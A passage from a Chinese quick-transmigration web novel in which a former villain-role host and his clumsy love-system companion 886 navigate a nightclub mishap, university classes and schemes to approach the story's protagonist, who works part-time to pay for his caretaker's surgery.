“886,”走廊上,雪枕顿了一下:“帮我看看洗手间在哪。”
886听命,搜索了一番:“前面走廊左拐,再走十来米。”
雪枕“嗯”了一声。
“宿主不舒服?”886看雪枕摸了几下喉咙,问:“要做一个全身扫描吗?”
任务者进入任务世界时,安全是第一位的,尤其是像雪枕坚持 这样用自己原本的身体的。
“不用。”
雪枕心不在焉:“我要去催吐。”
他和系统的对话没人能听见,即使有别人在,也只能看见他侧着身,露出小半张瓷白秀美的脸。
886飘来飘去:“为什么?”
恋爱系统发动脑筋,惊恐道:“难道酒里有东西?”
886就知道这里没有好人!
淡蓝色的光球在长廊里晃来晃去,一个统营造出光污染的效果。
看见自家身影单薄的宿主捂着胸口很不舒服的样子,886像素眼泪要下来了:“天呐,太坏了,宿主,我们向主神世界投诉……”
又是NPC对宿主动手动脚,又是往酒里下东西。
怎么没有统告诉886任务世界这么凶险?
4. 拜金男友4
雪枕冷酷地看着886假哭。
系统注入完整数据就可以投入工作,怪不得886出生十天也没有任务者要。
不过,雪枕扯扯唇角,想到自己在上个世界被886手快直接绑定的事。
那还是自己更离谱。
“想什么呢,”雪枕:“饮料没问题,是水果。”
他和886解释:“水果是用酒腌过的,吃多了也会醉。”
看着886用数据模拟出来的眼泪,雪枕冷酷道:“你的数据库可以清一清了。”
886的像素眼泪挨个消散:“嘤嘤嘤……”
夜宴高价招揽厨师,腌渍过的水果味道很好,也不太能尝出来酒味,所以第一次来的人很容易中招。
雪枕当然没来过这里。
只是每个世界都大差不差,想不出岔子,就要警惕一切能入口的东西。
雪枕对自己的酒量有很清晰的认知。
他喝了点果汁,挑了几块水果吃,很警觉。
唐詹朋友的面子已经落过一次,再拒绝怕生事。
虽然能看见别人吃瘪,这一趟还是不痛快。
雪枕想到自己当反派的时候了。
那个时候他才不需要考虑什么拒不拒绝的,向来只有他为难别人的份。
转头看见不断制造光污染的886,雪枕更烦。
“886,”雪枕思考了一下:“你可以换一下外观吗?”
886悬在半空:“可以的呀。”
886光速换了几个在系统中非常受欢迎的外观。
系统之间口耳相传,任务者非常喜欢外观可爱的系统,尤其是小动物。
一个聊过几次的系统信誓旦旦告诉886:“我的任务者就特别喜欢毛绒绒,每次我犯了错都会变成小狗狗的样子,她就不会责怪我了!”
顺带一提,这个系统选的外观是一只在古地球时期被称为“比格”的狗。
886信心满满地变成比格犬。
它的宿主似乎也是古地球一脉的后代,肯定会喜欢的!
886等啊等,等来了宿主的沉默。
它不解,拿大脑袋蹭蹭宿主的小腿,尝试着“汪”了一声。
小比撒娇。
雪枕蹲下来,捏了捏886的驴耳朵。
“算了,”他站起来:“我不想变忍人……你变成小鸟吧,小白鸟。”
886没听出来宿主的语气,只是遗憾地变成一只雪白圆滚的小肥啾。
圆滚滚的小肥啾奋力扇动翅膀。
雪枕摸了摸886:“这个样子和我之前在任务世界里养的鸟有些像。”
886又激动起来:“真的吗,宿主?”
它扇了扇毛绒绒的小翅膀,亲昵地在雪枕肩上落下。
“嗯,”雪枕按照886的提示,走到最后一个拐角:“那个世界是西幻大陆,我养过一只白鹰。”
886用黑豆子似的眼睛观察宿主。
雪枕看它一眼陷入回忆:“跟你现在的长相当然有出入,它应该算是鹰……”
那个时候雪枕扮演的是反派贵族魔法师的角色,偶然一次,在密林深处捡到一只受了伤的幼鸟。
幼鸟通体雪白,唯有翎羽和头顶有几缕黑色,长得有点像雪枕见过的鹰。
西幻大陆就这点不好,魔兽品中丰富,时不时还诞生新物种。雪枕问了土著魔法师,都说不认得他捡到的是什么魔兽的幼崽。
雪枕决定叫它小白。
小白非常不亲人,脾气大得很,连吃饭也只吃雪枕喂过来的东西,几年后更是长成了一只张开翅膀就有一米多的巨鹰。
雪枕骑马出去的时候,小白就威风凛凛地盘旋在空中,偶尔低吼一声,十分摄人。
“它很爱生气,”雪枕努力回忆:“也非常讨厌别的魔兽,看见了就要把人家赶走。”
睡觉的时候也是,明明已经长成大家伙了,还是习惯性地蜷缩在雪枕房间里给它留的小窝里。
886在雪枕肩膀上跳来跳去:“然后呢然后呢?”
它迫切地想知道宿主之前养宠的细节,希望自己也能迅速和宿主亲昵起来。
“然后就没有然后了,”雪枕笑了一下:“任务做完了要登出,没人照顾小白,我就把它托付给一个土著。”
那个世界他下线很早,就是可怜小白,也不知道土著对它好不好,有没有改掉挑食的毛病。
886啾啾啾地叫,黑豆大的眼睛里迅速充满悲伤。
外形变了,也影响智力吗?
雪枕盯着自己肩膀上来回弹跳的小肥啾,思忖了一会。
看886的反应,是有影响的。
不知道如果886变成别的,会不会稍稍弥补一下智力上难以启齿的问题。
提到之前养的宠物,宿主似乎有点难过。
886不希望宿主难过,就岔开话题:“宿主,那你们平时会做什么呀?”
它已经要拿小本本记下来了!
做什么?
雪枕笑了笑,理理衬衫的袖子:“我为难男主,小白就在旁边耀武扬威。我抢男主的东西,小白就替我抓,我说男主坏话,小白就扇翅膀附和……”
他回忆着,正巧要转身,前面是个拐角,长廊两侧的灯光不甚分明,隐隐约约照出两个人的影子,还伴随着酒瓶的碎裂声和争吵声。
突然“哗啦”一声。
雪枕来不及躲避,迎面被溅了一身酒渍。
“就像现在这样。”
雪枕盯着衬衫下摆上迅速晕开的深色印子,冷静道。
角落里无比安静。
一个二十三四,穿着领班衣服的侍应生讷讷,下意识道歉:“客人,对不起……”
另一个比他高很多,气质优越,轮廓如刀凿斧刻,手里捏着个托盘。
看着身形竟有些眼熟。
雪枕再抬起头,才发现自己绕错地方了,这里不是886给他指的去洗手间的路。
而且……
雪枕和对面两个人对视了一眼。
他好像又误入了什么场合。
886:“啊哦。”
“宿主,”小肥啾啄了啄雪枕的衬衫下摆:“现在怎么办?”
“怎么办?”雪枕面无表情:“打算风光大办。”
事实证明,闯祸的人会比旁观者反应更大。
领班给雪枕道完歉,立刻数落起一旁沉默的侍应生。
“你怎么端盘子的?!”领班大怒,觑着雪枕的脸色:“连酒杯都端不稳,还冒犯到客人!”
领班能在这里工作,长相自然也不差,只是他似乎还涂了粉,油头粉面的,情绪一激动,脸就涨成难看的猪肝色。
而被他数落的年轻侍应生身材高挑,宽肩窄腰,最普通的白衣黑裤在他身上也穿得挺括板正。
雪枕没看清这人的脸,但从深刻的轮廓看,应该长得不错。
“问题来了。”
雪枕自言自语,又像是对着886说:“到底是谁动的手呢?”
886小心翼翼:“那个挨骂的?”
雪枕看看明显不太聪明的系统:“很遗憾,我感觉不是。”
886迅速补充:“那就是另一个!”
小肥啾睁着豆豆眼,洋洋得意。
雪枕有些敷衍地摸摸它:“嗯,对。”
这边雪枕在和886聊天,旁边两个人是听不见的。
领班有些害怕,故作姿态训斥手下人的声音也小了下去。
怎么偏偏在他找新人茬的时候碰见客人?还得罪了人家?
领班只感觉自己要倒霉。
本来他只是看新人后来居上,凭着一张好脸得到经理的关注,甚至连他的位置也要抢。
这种地方最忌讳同事抢自己分头,领班更是,最生气的是这个新人一点规矩也不懂,连定额上交的分成也不给他!
这个新人傲气得很,也不多跟人说话,拿那双冷冰冰的眼睛看人,完全不把他放在眼里。
新仇旧恨加一起,到了换班时间,他就把人堵着教训了。
对方也不理他,拿他当空气。他气急,才去动他手里的托盘,结果没拿稳。
只是没想到在这也能碰见客人……
领班看着低头沉默不语的新人,又看看面无表情的客人,只觉得自己倒霉。
他不认得雪枕,看对方的年纪,估计是第一次来,看不出门道。
但雪枕长得好,漂亮骄矜,一副被家里宠着长大的模样,也不像寻常人家的孩子。
领班在这里呆得久,知道有的人吩咐一句话就能让自己失去轻松高薪的工作,半点不敢含糊。
客人不说话,他只好继续教训新人,说的话更难听。
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“行了。”
领班冷汗直冒之际,客人终于发话了。
模样漂亮的黑发少年拧眉,声音懒洋洋的:“别吵了。”
果然是娇惯长大的,一开口就能听出轻慢。
偏偏他长得好看,微微昂着下巴看人的时候竟然有些像矜贵的猫,不会给人类半分好脸色。
领班闭上嘴。
没一会,他又忍不住:“客人,不好意思,他是新人……”
“我是让你闭嘴。”
雪枕本来没有在看他,这下只好扭过头:“听不明白我的意思吗,你很吵。”
领班嘴唇蠕动几下,讷讷闭嘴。
少年的瞳色很黑,像透亮的黑曜石,又像浸润在泉水里的珍珠,水盈盈的。
但他此刻不高兴,鼻尖都微微皱起,看人的眼神也充满不虞。
看着就是那种坏脾气猫,直勾勾盯着人,满肚子坏水。
沉默到现在的侍应生这样想。
莫名的恶意他经历过不少,今天这样,更是少不了一阵为难。
他习惯了。
只是不知道这个看起来性格就很恶劣的小少爷要做什么。
“你走开,”果然,他听见少年说:“走远一点,不想看见你。”
领班反而高兴起来,可能以为他要单独教训自己,忙不迭跑开了。
角落里只剩下两人。
侍应生盯着地毯看。
就在他以为黑发少年要干什么的时候,听见对方轻慢的声音:“你,带我去洗手间。”
去洗手间……?
只是这样吗?
侍应生狐疑。
难道是要找水泼他?
侍应生看了看黑发少年单薄的肩膀和纤细的手腕,疑心这位小少爷教训自己也要他自己动手。
“喂,”雪枕等不到回应,更烦了:“你是听不见还是不会说话?”
“不是。”
身形高大的侍应生开口了,嗓音是变声期男生的低沉嘶哑:“这边走。”
他给雪枕带路。
终于有反应了。
雪枕和886吐槽:“还以为是哑巴,话也不说。”
886附和:“就是就是。”
“算了,”雪枕听见886当复读机也有些无语:“你和他学学吧,沉默是金。”
886QAQ:宿主……
侍应生对方向很熟悉,三下两下就带着雪枕来到洗手间。
“行了,”雪枕绝对不会和886承认是自己没找到路:“你也走吧。”
侍应生却站着不动。
雪枕:?
这个侍应生身形很高大,有个一米八几,比雪枕高出不少。骨架也大,虽然带着少年人的劲瘦,存在感也很强。
但他一直低着头,让人看不清他的脸,像在角落里阴暗生长的蘑菇。
“干什么?”
雪枕用巧劲逼自己吐掉刚刚吃下的东西。
洗完手,发现那个侍应生还在,也有些稀奇:“还有事?”
侍应生摇摇头。
“不好意思,你的衬衫,”他指指洗手池下的柜子:“里面有清洁用品,要简单处理一下吗?”
没等雪枕回应,他就继续说:“是经理特地放在这里的,可以去酒渍,也有烘干机。”
虽然是经理考虑到有的客人喜欢发酒疯,可能会有倒霉的侍应生路过被波及到。
“不了。”
雪枕明白他的话,摇摇头:“我等会就走了。”
他只是来催吐一下,哪料到碰上这种麻烦。
而且……
雪枕掏出手机,对着自己衬衫上的脏污拍了一下。
消息发送成功。
他又按下语音:“大哥,你还醒着吗?”
那边的唐詹回消息倒是很迅速:“?”
雪枕继续发:“衣服是还没出去的时候脏的哦。”
唐詹:“?你想说什么?”
雪枕觉得他大概理解自己的意思了,心满意足地挑了一个表情包发过去。
“哥哥,饭饭,饿饿。”
配上一个小猫捧破碗的表情。
唐詹 :……
听见全程的侍应生:……
雪枕微笑。
找不了别人赔自己的衣服,找身边的反派NPC总行了吧?
5. 拜金男友5
雪枕考虑得很全面。
于理,今天他来这里就是因为唐詹。于情 ,唐詹也不是什么好人。
要不是他叫自己过来,怎么可能会专程去一趟洗手间,又怎么可能碰见这种倒霉事。
再说了。
雪枕用余光瞄了瞄还站在一旁,有些不知所措的年轻侍应生。
看起来像是学生来兼职的,一看就没什么钱,肯定赔不起他的衣服。
唐詹不一样,狗大户的钱,不要白不要。
雪枕理所当然地等着唐詹回复。
他都叫哥哥了,怎么会有人不答应他的要求?
对面沉默几分钟。
雪枕不知道唐詹是不是醉过去了,拧起眉头,打算再发一条语音。
没等他按下按键,对面发了一个红包过来。
“自己去买一身,”唐詹的声音听起来有些气急败坏:“别给我丢脸。”
“还有,别叫我大哥了。”
最后一句话似乎是咬着牙说出来的,语气格外重。
“怎么了?”
唐詹没等到雪枕的消息,兀自按掉屏幕。
“没事,”他摇摇头,把心底的怪异感压下:“我们继续。”
唐詹重新端起酒杯,扯出笑,只是攥紧右手,手背上青筋毕露。
大哥?
开什么玩笑?
唐詹也说不清楚听到那声大哥的时候是什么想法,只觉得耳后酥酥麻麻,抽了筋似的。
他记得这个草包弟弟对自己不满得很,跟着亲妈进了门就没喊过他哥哥。
今天居然喊了好几声……
还给他发那种照片。
唐詹捏着酒杯,眼前不自觉浮现雪枕给他发的照片。
明亮光线下,洇湿一大块的衬衫下摆稍稍卷起来,扣子解开,露出一小截薄而韧的腰。
那段弧度在衣衫下若隐若现,可它的主人毫不吝惜将此等景色示于人前。
让人不由自主地有种用指腹碰一碰,摩挲几下的想法,试探是不是如同看上去那般纤薄。
“谢谢哦~”
唐詹反应过来的时候,一条语音发过来。
似乎是没感觉到他的恼怒,对面语气轻快得很,甚至还能听出来微微上扬的尾音。
唐詹脸更黑。
雪枕点开,发现唐詹给他发了五位数,心底小小感慨了一下。
真有钱。
但收下五位数的红包,他就无情地删掉和唐詹的聊天记录。
雪枕不知道也不想知道因为自己一句话,便宜哥哥心中惊起多少波澜。
“886,回去了。”
雪枕对停在侍应生面前仔细观察的886招招手。
886忙不迭飞到宿主肩膀上,动作有些细不可见的迟钝。
真奇怪……
886黑豆大的眼睛和脑子思索着,不明白为什么自己会飞到任务世界的一个NPC旁边去。
但它的宿主心情似乎好了起来,又怕宿主再说自己不聪明,886就没有和宿主说,只是悄咪咪上报了一下主神世界。
雪枕把唐詹发的红包存到卡里。
唐父对便宜儿子不错,有教育基金,每个月也有定额的生活费,数量不少。他的母亲当了阔太太,也会时不时补贴他。
但这个任务世界里的他非常喜欢奢侈品,一有钱就会全部花掉,卡上只剩下千把块钱保证不饿死。
最重要的是,品味很糟糕。
雪枕想到柜子里一堆穿不出去的衣服,深深感觉自己的眼睛受了工伤。
“886,先不回去。”雪枕想了想,修改了一下打车的目的地:“你逛过街么?”
886歪头:“没有耶。”
“那我们现在就去,”雪枕思索:“我要买点衣服……你要是有实体就好了,这样也可以给你买几件。”
他在任务世界的时候就很喜欢给小白买衣服,虽然小白根本不喜欢穿。
886高兴起来,瞬间把要报错的事忘到脑后。
“等攒一些任务积分,886就可以变实体了!”小肥啾骄傲地挺起胸脯。
雪枕照例摸摸它毛绒绒的脑袋:“嗯。”
***
A大。
校园里人来人往,都是年轻靓丽的学生,三三两两,往教学楼赶去。
雪枕混迹其中,慢悠悠地往教学楼走。
他穿着短袖和天蓝色衬衫外套,领口敞开,精致漂亮的锁骨若隐若现。
皮肤又很白,显得发色极黑。即使戴着口罩,也能看出来生了一副好样貌。
纵然旁人脚步匆匆,也不由得慢下来多看他几秒。
雪枕走进教室。
才开学没几天,学生不怎么熟悉彼此,两三抱团,轻声聊着天。见到他进来,竟奇怪地消了声。
学生之间总是有小道消息,谁谁谁有“特殊”“不合群”总是传得飞快。
雪枕随便找了个角落坐下,没在意这个。
下节课是专业课。
雪枕带了教材,漫不经心地翻到第二章。
他在任务世界里扮演的可都是反派,反派是不要求成绩的。
成绩好了,也不符合走后门的角色设定。
雪枕决定听一会睡一会。
早八还是太为难他了。
早上他定了闹钟,结果又差点睡过去,还是886把他啄醒的。
“我讨厌上学。”雪枕叹气,喃喃道:“每个世界的学校都讨厌。”
“886,”他戳戳窝在自己手边的小肥啾:“点名了喊我。”
“886,”雪枕闭上眼,还没睡着,又想起来:“龙傲天是不是也在A大?”
任务者进入任务世界的时候会知晓小世界的大致走向,细节就不得而知,需要任务者自行摸索。
比如说,雪枕知道龙傲天在A大念书,却不知道他在哪个专业,更不知道他平时会在哪里出现。
886回:“是的。”
雪枕:“那你能查查他现在在哪吗?”
886开始检索数据。
“主角这个时候应该在……”886调取剧情:“在打各种零工,攒学费和生活费。”
A大的学费高昂,纵然齐鹜有学费减免,也不得不打几份兼职来维持生计。
“这样啊。”
雪枕睁开眼,乌黑莹润的眼睛里写满狡黠:“那你说,如果我现在是不是应该雪中送炭,让龙傲天感激我,然后我们顺理成章恋爱……”
他还记得之前的世界里,升级流龙傲天在微末之时总有大小姐/公主相助,然后二人发展成恋爱关系。
雪枕没谈过恋爱,但他觉得逻辑是共通的。
886支支吾吾:“可是宿主,卡里好像没钱了。”
宿主昨晚才买了很多衣服,还在宠物专区给它挑了几件,说等它能兑换实体了再穿。
余额就这样一件件少下去。
“是吗?”
雪枕顿了一下,查看自己的余额。
他和显示屏上的数字面面相觑。
好吧,这个办法不行。
算了,“那我先接触男二。”
雪枕想到自己的身份:“男二那么有钱,也应该给我花花。”
在剧情里,他可是齐绥川的绯闻男友。
虽然齐绥川不是主角,但为什么不能为他和主角的爱情添砖加瓦呢?
886变成的小肥啾在雪枕肩上跳来跳去。
“当然!”新生的恋爱系统已经完全变成脑子里只有宿主的形状:“886现在就去查男二在哪!”
宿主和系统是通力合作的关系。
886牢牢记得这条铁律,而且,它还是恋爱系统。
宿主花花男朋友的钱怎么了.jpg
它们恋爱系统就是干这个的!
终于结束一节又臭又长的课。
雪枕松了口气,正打算补觉,身边的椅子吱呀一声。
有人来了。
雪枕“嗯”了一声,慢吞吞歪过头看。
教室很大,他又特意挑了一个角落,怎么现在会有人来。
来人烫了卷毛,带着一颗黑曜石耳钉,左边脸颊有个小酒窝。
很年轻,似乎是同学。
不知道他想做什么,看到雪枕转过头,自己先愣了一下。
雪枕有些困,下巴还搭在桌上,脸颊压出一点红印。
他垂着眼睑,又长又卷的睫毛落下一片小扇子似的阴影,鼻尖还带着点红印。
因为困意浓重,眼底也格外水润,乌亮得像是浸透在水中的玻璃珠。
从卷毛男生的角度看,能看见他白得几乎要发光的皮肤,秀气精致的眉眼。
一双漂亮的眼睛直勾勾地盯着他,眉头微微蹙着。
像是被打扰睡眠的矜持长毛猫,正预备着小发雷霆一下。
“你是唐雪枕?”卷毛男生有些讶然,支支吾吾问。
雪枕莫名其妙的看着他。
不然呢?
或许是意识到自己的问题很奇怪,卷毛男生挠挠头。
“不好意思,打扰你睡觉了。”他咳了一声:“那个,我是替老大来的,问你下午有没有空去郊外,今天他要和别的学院的车队飙车。”
也不知道因为什么,平时嗓门大大咧咧的卷毛
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男生声音小得很,听起来还有点讨好意味。
飙车?
不去。
雪枕思索了一番,愣是没想出来这人口中的“老大”到底是谁。
既然没想起来,就意味着不重要。
“不去。”
在卷毛男生期盼的眼神中,雪枕果断摇头:“没空。”
说完,他就把脸埋回去,继续补觉。
卷毛男生:?
看着唐雪枕真的没有搭理自己的打算,他有些晃神了。
他口中的“老大”是程誓,也是A市有头有脸家族出身,出手大方,爱玩,身边围着很多讨好的人。
唐雪枕也是,之前他直接凑上来,厚着脸皮说也想跟他们一起玩。
他们知道唐雪枕是唐家的,也知道他是继子,更能看出来对方贴上来是为了程誓的钱。
程誓是抱着玩弄的心思答应唐雪枕的。
在含着金汤匙出生的天之骄子眼中,拿身边人取乐是一件很正常的事。
尤其是对方对自己别有所求。
所以……唐雪枕为什么拒绝?
卷毛男生百思不得其解。
他还以为唐雪枕不知道自己是谁,刚想把对方拉起来解释,下节课的老师就进来了。
走动的学生纷纷回到座位,卷毛男生咬咬牙,只好老实回去。
他坐回位置上,给“老大”发消息。
“老大,唐雪枕不肯去。”
卷毛男生想了想,补充:“我感觉他好像和以前不太一样了……”
“不肯来?”
另一边,穿着赛车服,额角冒出点汗的年轻男生摘下头盔。
机动车的轰鸣声由远及近,地上尘土飞扬,远处是一大片郁郁葱葱的森林,山脉层叠,插着赛车场的标识。
这里是郊区新开的赛车场,还没有正式开放,现在能出现在这里的都得直接通过老板直接预约。
A市卧虎藏龙,总能找到几个不务正业、爱玩刺激的少爷小姐,尽管这地方还没有营业,也总有机车轰鸣声。
今天赛车场里却没有,因为有人包场了。
程誓随手把头盔扔给跟班。
他捋了把头发,露出灰蓝色的眼睛,五官格外深邃俊美,比旁人都高大许多。
程家少爷是混血,母亲是国外超模,他也在国外长大,近些年才回国内。
程誓在国外养成了无法无天的性子,程父溺爱他,一切都随他去。
最近,他找到了新乐子。
一个叫唐雪枕的漂亮男孩,巴巴地凑上来,一眼就能看出来想要什么。
“怎么可能?”
程誓嗤之以鼻,不耐烦地抹了把脸:“你告诉他是我喊的吗?”
得到肯定回复后,程誓深深皱起眉。
跟班看出来他不高兴,纷纷围上来,七嘴八舌讨论。
程誓听得嫌烦,脸色愈发不好看。
终于,有人小心翼翼地提起自己偶然听见的。
“我表哥去过一次唐家的酒局,”跟班回忆:“他说听见唐大和他爸讨论,要把唐雪枕引荐给齐家大少爷。”
齐家?齐绥川?
程誓思索。
他当然是见过齐绥川的,只是齐绥川早早接手家里的生意,跟他们这群吃喝玩乐的二代凑不到一起去。
他只记得对方一向以温和的形象示人,其实冷血得很。
唐家要把唐雪枕推到齐绥川身边去?
想想唐家近期的投资,程誓觉得自己知道唐雪枕为什么拒绝自己了。
“想利用我,现在又想翻脸?”
还是觉得他比不上齐绥川?
想到永远一副处变不惊,冷淡模样的齐绥川,程誓气笑了。
指尖划拉手机,他看见跟班给自己发来的偷拍图片。
照片里,黑发少年趴在桌上,闭着眼,露出小半张雪白漂亮的脸。
睫毛很长,随着主人的呼吸微微扇动。轮廓秀美柔和,脸颊还带着桃粉似的薄红。
睡颜乖巧得很,腮边挤出软肉,白生生的,让他看起来像是什么皮毛柔软的小动物,或者是散发着甜蜜气息的糕点。
惹人怜爱得很。
可惜是个一肚子坏水的。
程誓扯了扯嘴角,把手机丢给跟班。
“不想来找我,”他似乎是自言自语:“那我就去找他。”
程誓的声音压得很低,甚至还笑了一下。
熟悉他的跟班听见就抖了一下,听出点阴测测的意味,不知道这位少爷又想出了什么折磨人的法子。
唐雪枕……
跟班暗暗同情起被老大盯上的人来。
6. 拜金男友6
雪枕有一搭没一搭地看书。
那个自称是来给“老大”传话的卷毛男生课间又跑了一趟,说了几句让他到哪里哪里去的话,只是雪枕没往心里
去。
他困得很,一心想回去补觉。
下午就没课了,本来对付完午餐就可以回公寓。走在路上,雪枕却接到了来自唐詹的消息。
“后天晚上回家一趟,爸有事找你。”
言简意赅。
雪枕撇撇嘴,回了一句“好”。
昨天这人语气那么冲,他还以为要被拉黑了,结果没隔多长时间这人又来找他。
不过看在红包的份上,雪枕可以小小地原谅他一下。
雪枕现在缺钱缺得很。
要是今晚上见的继父也能一言不合给他打钱就好了。
而且,他也在思考。
想完成和龙傲天恋爱的任务,首先要接近对方。
按照他拿到的“拜金炮灰”的身份,用清纯小白花的形象接近龙傲天,表示愿意在龙傲天微末之时不离不弃生死相依……大概率是不可行的。
ooc了。
倘若他拿着包养剧本,把红彤彤的钞票砸在龙傲天脸上,要他和自己谈恋爱,趾高气昂地让他做赘婿……好像也不太可能。
首先,雪枕没那么多钱。其次,据他所知,龙傲天有99%的可能在飞黄腾达之后甩掉他,并且说出“三年之期已到,龙王归位”的口号。
雪枕不想打出这样凄凄惨惨的结局。
那么……
玻璃窗擦得雪亮,清晰地照出黑发少年秀美的侧脸和飞扬的神色。
漂亮得令人心颤。
乌亮的眼睛里闪着狡黠的微光,像伺机而动做坏事的猫。
“886?”
雪枕喊了一声cos真鸟飞行的系统。
886变成的小肥啾凑过来:“宿主,怎么了?”
雪枕秉持科学态度,咨询它:“恋爱部门,不排斥虐恋情深标签吧?”
886豆大的黑眼睛瞪大了:?
“算了。”雪枕决定不为难这个刚出生还没有半个月的系统。
他心底已经有了决断。
既然恋爱部门到反派部门招人,就只能招到他这个喜欢乱创人的坏蛋了。
龙傲天碰见他,就算倒霉了吧。
毕竟,用香蕉的钱,只能请来猴子。
恋爱部门非要招他这个反派部门转职的,就吃下这个哑巴亏吧。
***
A市,福利院。
这座福利院是几十年前修建,低低矮矮的三层建筑,突兀地生长在满是高楼大厦的城市中,如同灰尘一样不起眼。
原本暖黄的墙漆早已剥落,一茬又一茬地重新上过,变成了如今这般斑驳的模样。牌匾也经历风吹雨打,褪去漆皮,让人看不出原本的题字。唯有生锈栏杆上攀爬着的铁线莲郁郁葱葱,在微风中轻轻摇晃。
福利院的院长一个接一个换,十几年前收容的孩子们也一个接一个长大,离开这处容身之地。
福利院修建时间长了,也不再有新孩子需要抚养,逐渐被废弃。
仔细算来,这座福利院只剩下年轻时候就在这里工作的护工阿姨和几个智力有问题,只能靠着福利院领低保、日渐长大的孩子。
“扣扣。”
不知何时,有一道人影从花墙外走出来。
是个身材高挑的少年,黑发,带着黑色口罩,露出来的眉眼明明深邃英俊,却透着股阴郁气息。
一身水洗得发白的衣服,贴在尚显清瘦的身躯上,却也能看出肩宽腰窄,和薄薄的肌肉轮廓。
他单手拎着个包,熟练地敲了敲门,然后在花坛下垫了几块碎砖,双臂发力,轻轻松松翻过了低矮的栏杆。
平稳落地。
栏杆内外像是两个天地。
从外面看,这座早已无人问津的福利院破破烂烂,里面也定然是一幅荒草丛生、凄凉萧瑟的景象。
但要是有人垫脚往里面看,就能惊讶地发现里面打理得十分干净,连院子里铺的砖块之间的缝隙都仔细清理过。
地面整洁,内墙也重新漆过,十分平整洁净。
三楼有个大露台,支了架子晾衣服,洗净的衣服床单随着风微微晃动,散发出洗衣服和阳光的温暖气味。
外边有一排小平房,大概是食堂。到了饭点,正往外冒出阵阵饭香。
与设想不同,不仅有人住在这,还把地方打理得很好。
厨房里正在做饭的苏姨听见脚步声,似乎早知道是谁,放下锅铲,擦了擦手就满脸带笑地探出头“齐鹜?这么早就来了?”
苏姨是唯一一个留在福利院的员工,她五十多了,无儿无女,丈夫早逝,又和福利院的孩子们感情很深,所以几十年来她都没有想着离开。
她口中的“齐鹜”就是被送到福利院的孩子之一,因为小时候聪明好看还被领养过几次,不过因为养父母出了各种各样的意外,最后还是被退货回来。
几次三番,福利院的院长都觉得这孩子运气实在不好,对他从笑脸相迎到不管不顾。
苏姨却不这样。
她没孩子,对孤儿院的孩子一视同仁,对齐鹜就更特殊照顾。要不是经济条件实在不行,她都想自己收养这个孩子。
好在齐鹜争气,书念得很好,虽然因为各种各样的原因留级两年,但他一直都是年级第一,高考的时候更是拿了状元,考上A大。
“苏姨。”
齐鹜对围着围裙,两鬓有些星白的女人点头,露出一个微笑。
苏姨笑眯眯的:“刚好开饭了,吃完饭再走吧。”
齐鹜却摇摇头。
“不了,”他言简意赅:“下午有兼职,赶不及。”
齐鹜从口袋里掏出一张卡,递给苏姨:“我攒了点钱,过几天带你去医院做手术。”
苏姨上了年纪,身体断断续续地不好,怕花钱,一直拖着不去医院,直到去年年底齐鹜冷着脸把她押到医院。
体检单显示是脑瘤。
所幸是良性,发现得早,还有治疗的余地。
手术费也要钱,苏姨近些年根本没什么工资,又全花在了福利院剩下的孩子身上,没有给自己治疗的打算。
但齐鹜在诊室外呆了一会,又问了问医生护士,默不作声,一天天更忙碌起来。
“那怎么行?”苏姨激动起来,推让齐鹜递过来的银行卡:“你上大学也要钱,我一把年纪了,有什么好治的?”
齐鹜不同意。
他面无表情,硬生生把卡塞到苏姨口袋里。
“钱是我兼职攒的,”齐鹜和苏姨解释,怕她想不通:“没有动学费。”
苏姨更激动了。
“你怎么攒下来的?”她的手有点抽搐,急急忙忙拉住齐鹜的手上下打量:“干什么去了,攒了这么多钱?”
齐鹜有出息,她很高兴。
这个孩子虽然看着冷冷淡淡,其实心地很好,挂念着福利院的所有人。
初中的时候,考了联考第一拿到奖学金,第一时间去给她买了台洗衣机,告
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诉她不用再在冬天手洗衣服了。
苏姨当时又高兴又生气。
高兴的是齐鹜有出息,以后肯定能考上好大学。生气的是这个孩子心思重,也不给自己考虑。
福利院长大的孩子多少有点只顾自己,毕竟她一个人没法完全把一群年幼失怙的孩子照顾妥当,考虑到所有孩子的心思。
但齐鹜的性格是真的古怪,一点东西都没想着给自己留。
齐鹜很冷静。
她握住苏姨的手,让她平复呼吸。
“找了个家教,”齐鹜说谎说得面不改色:“学生的爸妈知道我是省状元,多给了我五倍的工资。”
苏姨面露怀疑之色:“真的?”
“真的。”
齐鹜破天荒笑了一下:“苏姨你放心,我自己有钱。”
“您忘了,出成绩之后我就拿了学校不少奖金。”
苏姨还在思忖,齐鹜就轻轻拍开她的手,不由分说地把卡塞到她口袋里。
“剩下的钱您自己看着买点东西,”齐鹜:“给自己也买点新衣服什么的,宏远他们康复治疗也要钱。”
宏远是福利院里的孩子,今年十四岁,因为小儿麻痹被父母弃养,一直留在这里由苏姨照顾。
提到福利院里的其他孩子,苏姨讷讷:“这怎么行,你得自己攒着……”
她本想说以后齐鹜哪里都要用到钱,却被齐鹜打算。
“我知道,”神色有点冷淡的少年微笑:“不说了,我要去学生家里了。”
苏姨“欸”了两声,眼睁睁看着齐鹜离开了。
他身高腿长,走得快,衣角翩飞,没一会就隐没在花墙边缘。
“这孩子……”
苏姨无奈地笑了笑,摸到口袋里尚有余温的银行卡,又叹了口气。
福利院出来的孩子,大多数早早打工谋生,仔细算起来十几个孩子当中也只有齐鹜还在念书。
只是,齐鹜干的兼职也不必别人少,高中都不怎么去晚自习。
是个好孩子,可惜没有父母帮扶。
想到这里,苏姨又叹了口气,回厨房做饭去了。
齐鹜看了看时间。
他打了几份工,时间安排十分紧密。
现在是十二点多,等坐了公交车过去,差不多能在换班之前到夜宴。
夜宴不是什么好地方,但给的钱够多。
即使是像齐鹜这样的学生,做兼职,一个小时也能拿到大几百。
只需要外表出色些,人机灵一点。
经理人不错,知道他的难处,也会有特意照顾他,给他安排和上课时间不冲突的排班。
当然也有人嫉妒齐鹜,试图为难他,让他得罪顾客,想让他被赶走。
都被齐鹜不动声色地化解,就像昨天。
昨天……
晃晃悠悠的公交车上,又湿又闷的风从窗口灌入,齐鹜难得地出神。
本来在夜宴这种地方,碰见不讲理的客人很正常,领班又煽风点火。
齐鹜本来做好了被生气的客人迎面泼一身水的准备。
但那个漂亮的小少爷只是气呼呼地看着他,让他离自己远点。
然后和哥哥撒娇,要买新衣服。
脾气看着大得很,却一点没有欺负别人。
长相也是真漂亮,黑发白肤,猫儿眼,看人的时候总是微微昂起下巴。
是齐鹜见过最漂亮的人。
他咽了咽喉咙。
面容俊秀的少年重新带上口罩,走下挤满人的公交车,背影清矍瘦削。
7. 拜金男友7
华灯初上。
